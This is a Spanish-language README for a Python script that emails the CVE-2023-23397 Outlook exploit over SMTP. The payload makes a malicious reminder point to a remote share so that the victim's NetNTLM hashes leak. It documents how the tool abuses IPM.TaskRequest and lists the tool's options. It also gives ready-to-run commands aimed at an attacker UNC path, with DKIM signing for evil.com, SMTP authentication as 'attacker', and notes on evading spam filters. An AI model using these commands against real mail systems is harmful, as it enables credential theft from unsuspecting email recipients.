
Script de Python para enviar correos electrónicos con payload CVE-2023-23397 usando SMTP
Este script permite crear correos electrónicos de Outlook codificados en TNEF con la carga útil del exploit CVE-2023-23397 y enviarlos a través de SMTP puro, sin necesidad de objetos COM ni EWS.
No pude lograr que la clase de mensaje IPM.Schedule.Meeting.Request funcionara correctamente (genera tanto la reunión como el recordatorio pero no respeta la propiedad PidLidReminderOverride por alguna razón), por lo que en su lugar el script abusa de la clase IPM.TaskRequest. Esto resulta en una ventana emergente de recordatorio de reunión maliciosa como en el exploit original, pero el destinatario no puede ver el cuerpo del mensaje ni los detalles de la reunión. En OWA, sin embargo, el correo electrónico se ve como un mensaje normal sin cita.
Probado en Outlook365 16130.20218 y Outlook 2019 10395.20020. Tenga en cuenta que el adjunto y los encabezados TNEF pueden no pasar los filtros antispam al enviar los correos electrónicos externamente; solo probé esto enviando correos electrónicos directamente (o a través de un relay Postfix) a Exchange desde la máquina Linux en la misma LAN.
options:
-h, --help show this help message and exit
-s SERVER, --server SERVER
smtp mail relay (host[:port]), default: localhost:25
-f SENDER, --from SENDER
sender email address
-t TO, --to TO recipient email address(es), path to a file or comma-separated values
-S SUBJECT, --subject SUBJECT
message subject
-r ROOM, --room ROOM meeting location (room name), default: Meeting Room #1
-b BODY, --body BODY plaintext message body (or path to file)
--html HTML HTML message body (or path to file)
-p PATH, --path PATH remote file path for NetNTLM exfiltration, e.g \\10.10.10.10\share\1.wav
-a AUTH, --auth AUTH username:password for AUTH command if authenticated send is required
--codepage CODEPAGE windows codepage (e.g. 1252=ASCII, 65001=Unicode) to encode HTML body (if any), default: 1252
--ehlo EHLO, --helo EHLO
EHLO command argument (sender external hostname)
-l LANG, --lang LANG Content-Language header value, default: en-US
--starttls Use STARTTLS when communicating over plaintext SMTP
--max-rcpts MAX_RCPTS
Maximum number of recipients per send attempt
-v Enable debug output
DKIM message signing:
--dkim-selector DKIM_SELECTOR
DKIM selector
--dkim-key DKIM_KEY DKIM private key file path
--dkim-domain DKIM_DOMAIN
DKIM domain name, default: sender address part after @
Enviar el correo electrónico desde [email protected] a [email protected]:
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'
Enviar el correo electrónico a múltiples destinatarios con TLS oportunista y cuerpo HTML desde archivo:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls
Enviar el correo electrónico con firma DKIM (requiere pip install dkimpy) y dominio personalizado en el comando EHLO a destinatarios cargados desde archivo, tres destinatarios por mensaje:
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com
Enviar el correo electrónico con credenciales de dominio:
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls